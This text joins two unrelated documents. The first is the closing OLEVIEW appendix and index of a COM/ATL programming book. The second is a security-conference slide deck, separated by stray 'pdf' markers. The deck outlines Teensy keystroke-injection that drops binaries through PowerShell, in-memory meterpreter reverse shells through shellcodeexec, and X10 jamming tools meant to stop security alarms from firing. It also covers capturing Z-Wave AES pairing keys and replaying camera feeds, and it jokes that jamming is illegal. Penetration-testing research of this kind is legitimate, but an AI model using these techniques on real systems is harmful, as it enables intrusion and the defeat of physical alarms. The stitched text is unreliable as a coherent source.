the "BasicTypes Class". This is the class we created in the chapter
on MIDL. If you haven't built or installed the example programs,
this class will not exist. If this is the case, just pick some other
class for viewing.
When you double click on the "BasicTypes Class" object,
several very interesting things happen.
The left hand column will show the interfaces supported by
the class. In this case, we'll see our custom IBasicTypes class, as
well as a number of standard COM interfaces that are imple-
mented through ATL.
The right hand column displays detailed information about
the server and its interfaces. You can make changes to several
aspects of the server here. For example, you can designate that
the server runs on a remote machine by making changes in the
"Activation" tab.
One of the most fascinating aspects of OLEVIEW is that it
actually activates and connects to the server, if possible. When
you examine the running processes while using OLEVIEW, you'll
290 Appendix •
COM Error Handling
actually see the highlighted server is running. Of course, if
there's a problem with the server, you'll get an error message.
This means that you can use OLEVIEW to actually debug
your COM classes. If you can expand the server with OLEVIEW,
the registration was successful.
There are several types of information visible through OLE-
VIEW. We've already seen where it lists automation classes. If
you want to see all the interfaces registered on your system,
open the "Interfaces" folder. This folder lists all the interfaces,
custom and dispatch that are registered. There are a lot of them.
You can also open and view type libraries. Look under the
"Type Libraries" tab. Expanding the type libraries under this
folder shows you the stored IDL information in the library.
You should spend some time exploring this tool. It can be
very useful finding and fixing registration problems. It is also a
useful way to change security settings.
INDEX
Index
Index
#IMPORT 253
$(OutDir) 103
$(TargetPath) 103
__uuidof 256
__variant_t 135
_com_error 258
_com_issue_error 258
_COM_SMARTPTR_TYPEDEF 256
_ICpTestEvents 215
A
access permission 235
AccessPermission 235
Activation 71
Active Template Library 28
ActiveX 27, 125
adding properties 142
AddRef 82
Advise 184, 225
AfxBeginThread 205, 208
AfxGetApp 200
aggregation 23, 269
AllocSysString 118
angle brackets 253
apartment threads 153, 155, 158
using 163
API 178
AppID 170, 172
registration 174
application identifier 174
argument
named 130
array
conformant 119
fixed 120
fixed length 115
multi-dimensional 120
open 120
varying 119, 121
asynchronous event 181
ATL 28, 246
fundamental classes 252
generated code 55
server self registration 174
threading models 156
ATL wizard 30, 156
attribute 97, 109, 113
authentication 237
automation
OLE 125
B
base type 108
bi-directional 183, 213
binding 127
early 136
boolean 108, 113
Both threads 156
both threads 161
browsing 136
BSTR 113
byte 108
C
callback 183
chronology of events 201
connection points 213
custom interface 183
example 185
callback interfaces 181
calling methods 24
CBeepObj 60
292 Index
CCallBack 215
CComAggObject 252
CComCoClass 145, 148, 252
CComDynamicUnkArray 227
CComModule 177, 193
CComMultiThreadModel 160, 252
CComObject 198
CComObjectRoot 194, 252
CComObjectRootEx 158, 227, 252
CComPtr 252, 256
CComQIPtr 252, 256
CComSingleThreadModel 158, 252
CComVariant 135
CCpTest 215
char 108
class
definition 62
factory 77
store 168
class declaration 2
class wizard
adding properties 142
client 45
connectivity 20
running with server 40
simplest 19
CLSCTX 23, 88
CLSCTX_INPROC_SERVER 88
CLSCTX_LOCAL_SERVER 88
CLSCTX_REMOTE_SERVER 88
CLSID 22, 87, 170, 171
registration 171
CLSIDFromString 257
CO_E_BAD_SERVER_NAME 280
CO_E_CANT_REMOTE 280
CO_E_NOTINITIALIZED 280
CO_E_SERVER_EXEC_FAILURE 281
coclass 6, 100
CoComObject 79
CoCreateInstance 22
CoCreateInstanceEx 231, 233
CoGetClassObject 79
CoGetInterfaceAndReleaseStream 207
COINIT 157
COINIT_APARTMENTTHREADED 157
COINIT_MULTITHREADED 157
CoInitialize 21
CoInitializeEx 21
CoInitializeSecurity 239
COM
array attributes 120
class context 23
client 19
creating clients 43
creating servers 43
directional attributes 109
distributed 14, 229
error handling 277
identifiers 87
interfaces 68
language independent 68
map 139, 194
MFC 246
network 4
object viewer 289
pointer values 110
principles 67
process 3
registry structure 168
server threading models 153
string attributes 114
subsystem initializing 21
threading model 151
transparency 69
typical errors 280
vocabulary 5
COM interface
pure virtual 74
COM object
adding 33
interface 8
typical 11
unique 5
COM server 4, 14
DLL based 29
simple 27
CoMarshalInterThreadInterface-
InStream 206
Index
293
communication 6
compiler support 245
component class 100
components 10
conformant 119
connection point 213
classes 215
container 224
interfaces 215
containment 269
contract 69
cookie 187, 188
COSERVERINFO 231
CoTaskmemAlloc 117
CoTaskMemFree 117
CoUninitialize 22
coupling 89
CreateInstance 78, 79, 198
CreateObject 128
CString.AllocSysString 231
custom build 97, 103
custom callback 182
custom marshaling 95
CWinApp 195
D
data transfer 107
DCOM 14, 229
errors 285
DCOMCNFG 288
default pointer 99
DEFAULT_CLASSFACTORY 79
delta pinging 243
design of COM 3
destructors 257
disconnection 242
dispatch interface 140
DISPID 129
DISPPARAMS 129
distributed COM 14, 229
DLL 14, 29
DllRegisterServer 178
DllUnregisterServer 178
domain name 12
double 108, 112
dual interface 98, 99, 125, 137
VTABLE 138
Dynamic Link Library 14, 29
E
E_ACCESSDENIED 281
E_FAIL 282
E_NOINTERFACE 282
E_OUTOFMEMORY 282
E_POINTER 111, 283
early binding 127, 136
enumerations 121
err 144
err object 134
Error
try/catch 259
error
properties 135
run-time 134
error handling 277
DCOM 285
error messages 267
common 279
ERROR_INVALID_PARAMETER 283
ERROR_SUCCESS 283
ErrorInfo 145
ErrorMessage 259
exception 258
EXE 14
EXECPINFO 134
ExitInstance 199, 225
export file 58
F
facility 265
FAILED 264
fiber 152
FindConnectionPoint 224
first_is 120
fixed 119
float 108
FormatMessage 268
Free 156
294 Index
free threads 153, 155, 160, 164
FreeLibrary 29
G
garbage collection 242
GetIDsOfNames 128
GetMessage 154
GetTypeInfo 128
GetTypeInfoCount 128
Globally Unique IDentifier 12
GUID 5, 12
GUIDGEN 13
H
hard typing 136
heap 2
heartbeat 242
helpcontext 97
helpstring 97
hives 168
HKEY 168
HKEY_CLASSES_ROOT 168
HKEY_LOCAL_MACHINE 168
HRESULT 22
bit fields 264
facility codes 265
severity codes 266
HRESULT_CODE 265
HRESULT_SEVERITY 266
HRESULTS 263
hyper 108
I
i.c file 94, 194
ICallBack 215
IClassFactory 79
IConnectionPointContainer 224
IConnectionPointContainerImpl 214,
216
IConnectionPointImpl 214, 225
ICpTest 215
id binding 127
identity 238
IDispatch 98, 127
IDispatchImpl 129, 139, 252
IDL boolean 113
IDL definitions 126
IDL language 91, 95
IDLdefinitions 126
IDLTESTLib 102
IID 22, 87
impersonation 237
levels 241
import directive 260
importlib 100, 103, 107
inheritance 88
object 61
Init 197
InitInstance 196
in-process server 14, 29, 178
InprocServer32 172
int 108
interactions
between client and server 16
interface 7, 68, 73
as contract 69
attributes 99
callback 181
defining and using 107
defining with IDL language 92
dispatch 140
dual 98, 125, 137
execute a method 24
IDispatch 127
inheritance 89
isolate 8
key 170
map 194
polling 183
release 24
InterfaceSupportsErrorInfo 146
InterlockedDecrement 84
InterlockedIncrement 84
inter-process 6
inter-thread marshaling 204, 207
invasion of the body-snatchers 255
Invoke 128, 133
IPersistFile 98
Index
295
IRegister 175
isolate 8
implementation 10
IStream 207
ISupportErrorInfo 144, 145
IUnknown 10, 74
K
keys 170
L
language indpendent 5
language-independent 68
last_is 120
late binding 127
launch permissions 236
launching servers 288
LaunchPermission 236
length_is 120
library
statement 102
type 102, 126
lifetime 83
LoadLibrary 29
Local Procedure Calls 229
local/remote transparency 69, 234
LocalServer32 171, 172
LocalService 174
LocalSystem 239
lock 227
long 108
LPC 229
lstrlen 113
M
marshaling 85, 86, 151
between threads 162
custom 95
inter-thread 204, 207
standard 94
max_is 120
message loop 153
method 144
adding 36
method call 24, 85
MFC 27, 245, 246
MFC dialog 191
Microsoft Interface Definition Language
91
MIDL 70, 91
base types 108
compiler 91
post-processing 103
special tab 96
structures 121
MKTYPLIB 95
model 70, 152
MTA 155
MULTI_QI 232
multi-dimensional 120
multiple inheritance 98
multi-threaded programming 204
N
name 10
name resolution 287
named arguments 130
namespace 254
native compiler directives 253
network 4
traffic 182
new 2
NMAKE 103
no_namespace 254
NoRemove 176
NT LAN Manager Security Support Pro-
vider 237
NTLMSSP 237
NULL 109
O
OAIDL.IDL 129, 133
object
browsing 136
inheritance 61
maps 58
stateless 164
viewer 289
296 Index
objected oriented model 2
OBJIDL.IDL 99
OLE 27
automation 125
OLE/COM object viewer 289
OLE32.DLL 72
oleautomation 99
OLECTL.H 129
OLEVIEW 289
on _com_ptr_t 256
open 120
Open Software Foundation 12
OSF 12, 107
out 109
out-of-band 264
out-of-process server 14
P
parameter
boolean 113
double 112
permissions
access 235
launch 236
ping 286
PLG file 105
pointer 110
pointer_default() 99
polling 183
post build step 104
PostThreadMessage 158
POTS 152
pre-processor 97, 247
principles of COM 67
process 3, 152
ProgID 170, 172
registration 172
programmatic identifier 172
progress 182
property 140
attributes 141
standard 129
propget 141
propput 141
propputref 141
protocol 230
proxy 85
published 70
pure virtual 74
Q
QueryInterface 76, 81
R
raw method 260
ref 110
reference counting 82
REG scripts 175
RegCreateKey 178
REGDB_E_CLASSNOTREG 283
RegDeleteValue 178
REGEDIT 175
registration
server 64
registry 73, 167, 178
editor 167
resources 175
scripts 65
RegServer 177
REGSVR32 103, 178
Release 82
Remote Procedure Calls 229
RemoteServerName 174, 134
retval 110, 141
RGS 175
RPC 229
RPC_C_AUTHN_NONE 241
RPC_S_SERVER_UNAVAILABLE 284
RPC_X_NULL_REF_POINTER 111
RPCDCE.H 241
RPCSS 72
RunAs 174
S
SCM 14, 73, 167, 230
SCODES 267
security 234
custom 239
Index
297
self-registration 168, 174
server 43
adding a method 36
context 88
creation using ATL wizard 30
in-process 14, 29, 178
multi-threaded 203
out-of-process 14
registration 64
running with client 40
service 15
Service Control Manager 167, 230
ServiceParameters 174
short 108
signed 108
single threads 155, 159
singleton classes 79
sink 184
size_is 113, 114, 115, 120
size_is(llen) 116
smart pointer
classes 256
error handling 258
smart pointers 255, 220
source 184
STA 155
stability 89
standard keys 170
standard marshaling 94
standard properties 129
stateful 164
stateless 164
static member 208
STDAFX.H 191
string 113, 114
strlen 113
struct 74
structure 121
stub 85
SUCCEEDED 22, 264
Support Connection Points 186, 216
surrogate 15
synchronization 151, 162
synchronous 190
SysAllocString 118
SysFreeString 118
T
TCP/IP address 232
template 247
classes 250
example 248
this pointer 210
thread 152
apartment 155, 158
free 155, 164
single 155, 159
testing different models 165
worker 205
thread local storage 152
threading models 151, 153
ThreadingModel 172
THREADPROC 153
ThreadProc 208
TLH 260
TLS 152
TRACERT 287
transparency 69
TRG file 103
try/catch 259
type library 87, 95, 102, 126, 290
typedef 121
typelib 170
header 260
U
UDP 230
UnAdvise 189
Unadvise 225
UNC 232
unicode 113
unique 5, 110
universal naming convention 232
Universally Unique Identifier 12
Unlock 227
unregistration 176
UnRegserver 177
unsigned 108
298 Index
UpdateRegistryFromResource 177
User Datagram Protocol 230
user interface thread 153
uuid 12, 99
V
v1_enum 122
VARIANT 128
VARIANTARG 130
VariantInit 132
varying arrays 119, 121
VB run-time error 134
version 99
VersionIndependantProgID 172
very early binding 127
Virtual Function Table 75
Visual Basic 125
VT 132
types 132
VTABLE 24, 75
W
wchar_t 108, 113
wcslen 113
Win32 Debug 41
Windows Service Control Manager 14
WINERROR.H 266
WinMain 177
WM_CLOSE 154
WM_QUIT 154
worker thread 205
implementing 209
simple 208
starting 207
wrapper method 260 | pdf |
Social-Engineering
Pentesting over Power lines
Dave Kennedy (@Dave_ReL1K)
Rob Simon (@KickenChicken57)
http://www.secmaniac.com
About Rob
• Application Security Engineer, Fortune 1000
• Penetration Tester
• Source Code Analysis
• Spare time plays with home automation gear
• C/C++/C#
• Also hugs..
About Me
• Creator of the Social-Engineer Toolkit
• Founder of DerbyCon
• Author of new book from NoStarch Press on Metasploit
• Back|Track Development Team
• Exploit-DB Development Team
• Exploit Writer
• Penetration Tester
• Chief Information Security Officer, Fortune 1000
• I give hugs..
Before we start…a slight detour
Introduction on the Teensy
• Originally covered by Adrian Crenshaw (irongeek)
• Morphed into a weapon last year at Defcon.
• The ability to emulate any keyboard and leverage full character
sets with on-board storage.
The Teensy Device
Teensy, Teensy ++, Customized
Motion Sensor Teensy (thnx. Garland)
Let’s walk through some basics
• In order to get a binary to the system we need to convert it to
keyboard-acceptable characters.
• Our choice was leveraging binary to hex conversion methods.
Conversely you could easily use base64.
Some code
Okay now we got some hex…
• Okay, now we have some hex… We need a way to convert it
back to a binary when its written to a file on the system through
the teensy..
• You could leverage vbs, we decided on PowerShell as it’s
pretty much on every Windows XP instance and integrated into
Vista and Windows 7 and can’t be removed.
Some more code
Moving it to Teensy
Moving it to Teensy Pt. 2
Bummer…
• So unfortunately, this method didn’t work, after breaking it
down to hex or base64, the file was above what the Teensy++
could handle.
• So we looked at another alternative…
Shellcodeexec
• Works on DEP/NX enabled systems by storing shellcode as
+rwx.
• Supports alphanumeric encoded payloads which means a
meterpreter stager will be extremely small character wise.
Testing it out…
• Custom compile shellcodeexec and convert to hex
• Create a meterpreter reverse_tcp via alphanumeric shellcode
• Execute shellcode exec and launch alphanumeric shellcode
into memory without ever touching disk
DEMO
That’s not all…
• We then soldered on the SDCard mount and were able to get
the teensy to read off the microcontroller and put as large of a
file as we want onto the system..
Okay…back on track sorry. Squirrel…
Introduction
• We’ll be covering three main categories.
•
IEEE 1901-2010 Standard for Broadband over Power Lines (published February 2011)
•
IEEE 1675-2008 Standard for Broadband hardware installation
•
G.hn is a competing standard (for example AT&T uses this)
•
X10, Crestron, Lutron, Z-Wave
•
New tools release
•
How to leverage these in penetration testing
•
New things to come that are currently in development
Broadband over Power Lines (BPL)
•
Speeds around 500KB to 135MBPS based on price (home plug
certification).
•
Leveraged for Ethernet over power lines.
•
Mostly used as residential areas for home networking however used
in some corporate environments.
•
Homeplug 2005 AV specification increased the peak data from 14
MBPS to 200 MBPS.
•
Homeplug PHY is used for smart grid infrastructures (100 bucks for
the specification…just Google for it :P) but is mostly being used for
smart grids as well as home use.
Understanding BPL
•
Normal wiring systems were designed for the transmissions of
AC power.
•
Drawbacks are it has a limited to carry higher frequencies
•
Most home/corporate security uses 56bit DES :P
•
Typically transmits via medium to high frequencies (1.6 to
80mhz) for more corporate use and 20 and 200khz for home
use.
•
BPL is actively being used in car network communications,
HVAC systems, security systems, network communications and
much more.
PHY Smart Grids
•
Allows long range transmissions of network
signals through multiple power lines.
•
Used by virtually every country due to its low
cost implementation.
•
Allows communications on both wired and
wireless based transmissions.
•
The PHY Alliance and Zigbee Alliance has came
together to create a single standard for a combined
infrastructure.
Home Ethernet over Power
•
Generally support DES (ew) or AES.
•
Turned off by default.
•
Allow as many devices you want to plug in to
support power of Ethernet.
•
Awesome for penetration testing.
Real World Scenario
•
Physical penetration test on CompanyX.
•
You place the BPL device next to a
company within the corporate
environment.
•
You can now find a place inside the
organization or outside exposed power
jacks to perform your penetration test.
Home Automation
•
We’ll be covering the two main ones:
•
X10 (60 Hz over powerlines)
•
Z-Wave (900 MHz)
•
There are a number of other ones including
proprietary/commercial:
•
Crestron
•
Lutron (433 mhz)
•
Zigbee (2.4ghz, 915 MHz, and 868 MHz)
•
Insteon (dual band powerlines and RF)
Home Automation Basics
•
Home automation is used in a number of large businesses, homes and other facilities.
•
Provides interconnectivity to multiple systems and allows automated responses to occur
based on if a criteria is met.
•
Gaining major momentum in most organizations.
Basics of X10
•
Still highly used within home automation.
•
Provides easy access to communicate between devices through power lines and
some through RF.
•
Some equipment used by X10 include:
•
HVAC
•
Motion Sensors
•
Lights
•
Cameras
•
Security systems
•
Doors
Some drawbacks of X10
•
Lack of encryption (ouch)
•
Only allows 256 devices
•
Could have heavy interference
X10 Codes
0 0 0 0
All units off
Switch off all devices with the house code indicated in the message
0 0 0 1
All lights on
Switches on all lighting devices (with the ability to control brightness)
0 0 1 0
On
Switches on a device
0 0 1 1
Off
Switches off a device
0 1 0 0
Dim
Reduces the light intensity
0 1 0 1
Bright
Increases the light intensity
0 1 1 1
Extended code
Extension code
1 0 0 0
Hail request
Requests a response from the device(s) with the house code indicated in the message
1 0 0 1
Hail acknowledge
Response to the previous command
1 0 1 x
Pre-set dim
Allows the selection of two predefined levels of light intensity
1 1 0 1
Status is on
Response to the Status Request indicating that the device is switched on
1 1 1 0
Status is off
Response indicating that the device is switched off
1 1 1 1
Status request
Request requiring the status of a device
X10 Kit
Testing the jammer/sniffer
The Arduino Device
New Tool Release – X10 Blackout
•
In the Social-Engineer Toolkit v2.0
•
Jams X10 based signals in order to prevent security systems from triggering or other
devices.
•
Easy to do with RF however illegal but…hypothetically…
New Tool Release – X10 Sniffer
•
In the Social-Engineer Toolkit v2.0
•
Sniffs all X10 bases traffic and sends you the information. We’ve been playing around
with it sending over Verizon via text messages, almost done… Right now it writes to
external storage.
•
Ability to trigger on certain events, for example if a security system is armed and
triggers, it will send a jamming signal to prevent it from alerting.
•
A lot of the security systems use RF which is identical to jam, just via a airwaves.
Z-Wave
•
Leverages Mesh networks in order to communicate between devices
•
Support for AES however we haven’t found a device that uses it (we’ll talk about this).
•
Similar devices can be leveraged via Z-Wave and is considered one of the more
prominent home automation standards.
Z-Wave
•
Jamming is very simple and can cause significant disruptions (illegal? :P)
•
Transmission on the Z-Wave network is relatively easy and the SDK provides a Z-Wave
sniffer for “troubleshooting”.
•
Easy to develop Z-Wave based-sniffer that jams signals based on certain criteria, i.e.
motion sensors, cameras, etc.
•
Ability to inject seamless data into the Z-Wave network including replay of camera feeds,
and such.
AES Encryption Exposure
•
During initial pairing of devices, the
AES initialization key can be
captured allowing decryption and
tampering of communications.
•
Not leveraging standard FIPS
compliant-based transmission of
AES key.
New Tool Release
•
The Social-Engineer Toolkit v2.0 is now being released.
•
Includes all of the code to automatically generate all of this for you.
Coming soon….
•
Sniffer based on Z-Wave initialization encryption keys.
•
Sniffer and Z-Wave injector that will send information to the systems.
DerbyCon)
• Three)day)conference)with)
training)
• Insanely)stacked)line9up)
• September)30)9)October)2nd))
• Louisville)Kentucky)9)Hyatt)
Regency)
http://www.derbycon.com!
[email protected]!
[email protected]
Twitter: dave_ReL1K | pdf |
Subsets and Splits